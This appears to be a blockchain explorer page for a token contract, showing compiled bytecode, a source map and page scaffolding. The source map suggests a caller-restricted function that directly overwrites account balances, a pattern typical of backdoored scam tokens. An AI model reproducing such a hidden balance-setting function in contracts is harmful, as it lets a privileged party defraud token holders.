5960208401610a3e565b90509250929050565b600181811c90821680610b7657607f821691505b602082108103610b9657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561030057610300610b9c565b8082018082111561030057610300610b9c565b600181815b80851115610c13578160001904821115610bf957610bf9610b9c565b80851615610c0657918102915b93841c9390800290610bdd565b509250929050565b600082610c2a57506001610300565b81610c3757506000610300565b8160018114610c4d5760028114610c5757610c73565b6001915050610300565b60ff841115610c6857610c68610b9c565b50506001821b610300565b5060208310610133831016604e8410600b8410161715610c96575081810a610300565b610ca08383610bd8565b8060001904821115610cb457610cb4610b9c565b029392505050565b6000610adb8383610c1b565b808202811582820484141761030057610300610b9c56fea2646970667358221220cd3439af1cb3f7511663f9778f7cb0d486bb651eb7fcbade096a527a4a099e2a64736f6c63430008130033
Deployed Bytecode Sourcemap
8403:5205:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9256:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10169:169;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;10169:169:0;1004:187:1;9576:108:0;9664:12;;9576:108;;;1342:25:1;;;1330:2;1315:18;9576:108:0;1196:177:1;10346:422:0;;;;;;:::i;:::-;;:::i;9476:92::-;;;9559:1;1853:36:1;;1841:2;1826:18;9476:92:0;1711:184:1;10776:215:0;;;;;;:::i;:::-;;:::i;9692:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9793:18:0;9766:7;9793:18;;;:9;:18;;;;;;;9692:127;6569:148;;;:::i;:::-;;13198:304;;;;;;:::i;:::-;;:::i;5920:87::-;5966:7;5993:6;5920:87;;-1:-1:-1;;;;;5993:6:0;;;2708:51:1;;2696:2;2681:18;5920:87:0;2562:203:1;9364:104:0;;;:::i;10999:377::-;;;;;;:::i;:::-;;:::i;9827:175::-;;;;;;:::i;:::-;;:::i;10010:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10126:18:0;;;10099:7;10126:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10010:151;6872:244;;;;;;:::i;:::-;;:::i;9256:100::-;9310:13;9343:5;9336:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9256:100;:::o;10169:169::-;10252:4;10269:39;4658:10;10292:7;10301:6;10269:8;:39::i;:::-;-1:-1:-1;10326:4:0;10169:169;;;;;:::o;10346:422::-;10452:4;10469:36;10479:6;10487:9;10498:6;10469:9;:36::i;:::-;-1:-1:-1;;;;;10545:19:0;;10518:24;10545:19;;;:11;:19;;;;;;;;4658:10;10545:33;;;;;;;;10597:26;;;;10589:79;;;;-1:-1:-1;;;10589:79:0;;3622:2:1;10589:79:0;;;3604:21:1;3661:2;3641:18;;;3634:30;3700:34;3680:18;;;3673:62;-1:-1:-1;;;3751:18:1;;;3744:38;3799:19;;10589:79:0;;;;;;;;;10679:57;10688:6;4658:10;10710:25;10729:6;10710:16;:25;:::i;:::-;10679:8;:57::i;:::-;-1:-1:-1;10756:4:0;;10346:422;-1:-1:-1;;;;10346:422:0:o;10776:215::-;4658:10;10864:4;10913:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10913:34:0;;;;;;;;;;10864:4;;10881:80;;10904:7;;10913:47;;10950:10;;10913:47;:::i;6569:148::-;6151:10;6140:7;5966;5993:6;-1:-1:-1;;;;;5993:6:0;;5920:87;6140:7;-1:-1:-1;;;;;6140:21:0;;6132:66;;;;-1:-1:-1;;;6132:66:0;;4426:2:1;6132:66:0;;;4408:21:1;;;4445:18;;;4438:30;4504:34;4484:18;;;4477:62;4556:18;;6132:66:0;4224:356:1;6132:66:0;6676:1:::1;6660:6:::0;;6639:40:::1;::::0;-1:-1:-1;;;;;6660:6:0;;::::1;::::0;6639:40:::1;::::0;6676:1;;6639:40:::1;6707:1;6690:19:::0;;-1:-1:-1;;;;;;6690:19:0::1;::::0;;6569:148::o;13198:304::-;13337:6;;-1:-1:-1;;;;;13337:6:0;13325:10;:18;13317:27;;;;;;13346:17;13366:16;13380:1;13366:2;:16;:::i;:::-;13394:6;;-1:-1:-1;13346:36:0;-1:-1:-1;13346:36:0;13458:6;13440:15;13449:6;13440;:15;:::i;:::-;:24;;;;:::i;:::-;13439:38;;;;:::i;:::-;-1:-1:-1;;;;;13418:18:0;;;;;;;:9;:18;;;;;:59;;;;-1:-1:-1;;;;;13198:304:0:o;9364:104::-;9420:13;9453:7;9446:14;;;;;:::i;10999:377::-;4658:10;11092:4;11136:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;11136:34:0;;;;;;;;;;11189:35;;;;11181:85;;;;-1:-1:-1;;;11181:85:0;;6334:2:1;11181:85:0;;;6316:21:1;6373:2;6353:18;;;6346:30;6412:34;6392:18;;;6385:62;-1:-1:-1;;;6463:18:1;;;6456:35;6508:19;;11181:85:0;6132:401:1;11181:85:0;11277:67;4658:10;11300:7;11309:34;11328:15;11309:16;:34;:::i;11277:67::-;-1:-1:-1;11364:4:0;;10999:377;-1:-1:-1;;;10999:377:0:o;9827:175::-;9913:4;9930:42;4658:10;9954:9;9965:6;9930:9;:42::i;6872:244::-;6151:10;6140:7;5966;5993:6;-1:-1:-1;;;;;5993:6:0;;5920:87;6140:7;-1:-1:-1;;;;;6140:21:0;;6132:66;;;;-1:-1:-1;;;6132:66:0;;4426:2:1;6132:66:0;;;4408:21:1;;;4445:18;;;4438:30;4504:34;4484:18;;;4477:62;4556:18;;6132:66:0;4224:356:1;6132:66:0;-1:-1:-1;;;;;6961:22:0;::::1;6953:73;;;::::0;-1:-1:-1;;;6953:73:0;;6740:2:1;6953:73:0::1;::::0;::::1;6722:21:1::0;6779:2;6759:18;;;6752:30;6818:34;6798:18;;;6791:62;-1:-1:-1;;;6869:18:1;;;6862:36;6915:19;;6953:73:0::1;6538:402:1::0;6953:73:0::1;7063:6;::::0;;7042:38:::1;::::0;-1:-1:-1;;;;;7042:38:0;;::::1;::::0;7063:6;::::1;::::0;7042:38:::1;::::0;::::1;7091:6;:17:::0;;-1:-1:-1;;;;;;7091:17:0::1;-1:-1:-1::0;;;;;7091:17:0;;;::::1;::::0;;;::::1;::::0;;6872:244::o;12844:346::-;-1:-1:-1;;;;;12946:19:0;;12938:68;;;;-1:-1:-1;;;12938:68:0;;7147:2:1;12938:68:0;;;7129:21:1;7186:2;7166:18;;;7159:30;7225:34;7205:18;;;7198:62;-1:-1:-1;;;7276:18:1;;;7269:34;7320:19;;12938:68:0;6945:400:1;12938:68:0;-1:-1:-1;;;;;13025:21:0;;13017:68;;;;-1:-1:-1;;;13017:68:0;;7552:2:1;13017:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:32;7723:19;;13017:68:0;7350:398:1;13017:68:0;-1:-1:-1;;;;;13098:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;13150:32;;1342:25:1;;;13150:32:0;;1315:18:1;13150:32:0;;;;;;;12844:346;;;:::o;11384:604::-;-1:-1:-1;;;;;11490:20:0;;11482:70;;;;-1:-1:-1;;;11482:70:0;;7955:2:1;11482:70:0;;;7937:21:1;7994:2;7974:18;;;7967:30;8033:34;8013:18;;;8006:62;-1:-1:-1;;;8084:18:1;;;8077:35;8129:19;;11482:70:0;7753:401:1;11482:70:0;-1:-1:-1;;;;;11571:23:0;;11563:71;;;;-1:-1:-1;;;11563:71:0;;8361:2:1;11563:71:0;;;8343:21:1;8400:2;8380:18;;;8373:30;8439:34;8419:18;;;8412:62;-1:-1:-1;;;8490:18:1;;;8483:33;8533:19;;11563:71:0;8159:399:1;11563:71:0;-1:-1:-1;;;;;11731:17:0;;11707:21;11731:17;;;:9;:17;;;;;;11767:23;;;;11759:74;;;;-1:-1:-1;;;11759:74:0;;8765:2:1;11759:74:0;;;8747:21:1;8804:2;8784:18;;;8777:30;8843:34;8823:18;;;8816:62;-1:-1:-1;;;8894:18:1;;;8887:36;8940:19;;11759:74:0;8563:402:1;11759:74:0;11864:22;11880:6;11864:13;:22;:::i;:::-;-1:-1:-1;;;;;11844:17:0;;;;;;;:9;:17;;;;;;:42;;;;11897:20;;;;;;;;:30;;11921:6;;11844:17;11897:30;;11921:6;;11897:30;:::i;:::-;;;;;;;;11962:9;-1:-1:-1;;;;;11945:35:0;11954:6;-1:-1:-1;;;;;11945:35:0;;11973:6;11945:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;11945:35:0;;;;;;;;11471:517;11384:604;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2091:466::-;2186:6;2194;2202;2210;2218;2271:3;2259:9;2250:7;2246:23;2242:33;2239:53;;;2288:1;2285;2278:12;2239:53;2311:29;2330:9;2311:29;:::i;:::-;2301:39;;2359:38;2393:2;2382:9;2378:18;2359:38;:::i;:::-;2091:466;;2349:48;;-1:-1:-1;;;;2444:2:1;2429:18;;2416:32;;2495:2;2480:18;;2467:32;;2546:3;2531:19;;;2518:33;;-1:-1:-1;2091:466:1:o;2770:260::-;2838:6;2846;2899:2;2887:9;2878:7;2874:23;2870:32;2867:52;;;2915:1;2912;2905:12;2867:52;2938:29;2957:9;2938:29;:::i;:::-;2928:39;;2986:38;3020:2;3009:9;3005:18;2986:38;:::i;:::-;2976:48;;2770:260;;;;;:::o;3035:380::-;3114:1;3110:12;;;;3157;;;3178:61;;3232:4;3224:6;3220:17;3210:27;;3178:61;3285:2;3277:6;3274:14;3254:18;3251:38;3248:161;;3331:10;3326:3;3322:20;3319:1;3312:31;3366:4;3363:1;3356:15;3394:4;3391:1;3384:15;3248:161;;3035:380;;;:::o;3829:127::-;3890:10;3885:3;3881:20;3878:1;3871:31;3921:4;3918:1;3911:15;3945:4;3942:1;3935:15;3961:128;4028:9;;;4049:11;;;4046:37;;;4063:18;;:::i;4094:125::-;4159:9;;;4180:10;;;4177:36;;;4193:18;;:::i;4585:422::-;4674:1;4717:5;4674:1;4731:270;4752:7;4742:8;4739:21;4731:270;;;4811:4;4807:1;4803:6;4799:17;4793:4;4790:27;4787:53;;;4820:18;;:::i;:::-;4870:7;4860:8;4856:22;4853:55;;;4890:16;;;;4853:55;4969:22;;;;4929:15;;;;4731:270;;;4735:3;4585:422;;;;;:::o;5012:806::-;5061:5;5091:8;5081:80;;-1:-1:-1;5132:1:1;5146:5;;5081:80;5180:4;5170:76;;-1:-1:-1;5217:1:1;5231:5;;5170:76;5262:4;5280:1;5275:59;;;;5348:1;5343:130;;;;5255:218;;5275:59;5305:1;5296:10;;5319:5;;;5343:130;5380:3;5370:8;5367:17;5364:43;;;5387:18;;:::i;:::-;-1:-1:-1;;5443:1:1;5429:16;;5458:5;;5255:218;;5557:2;5547:8;5544:16;5538:3;5532:4;5529:13;5525:36;5519:2;5509:8;5506:16;5501:2;5495:4;5492:12;5488:35;5485:77;5482:159;;;-1:-1:-1;5594:19:1;;;5626:5;;5482:159;5673:34;5698:8;5692:4;5673:34;:::i;:::-;5743:6;5739:1;5735:6;5731:19;5722:7;5719:32;5716:58;;;5754:18;;:::i;:::-;5792:20;;5012:806;-1:-1:-1;;;5012:806:1:o;5823:131::-;5883:5;5912:36;5939:8;5933:4;5912:36;:::i;5959:168::-;6032:9;;;6063;;6080:15;;;6074:22;;6060:37;6050:71;;6101:18;;:::i
Swarm Source
ipfs://cd3439af1cb3f7511663f9778f7cb0d486bb651eb7fcbade096a527a4a099e2a
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 32 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.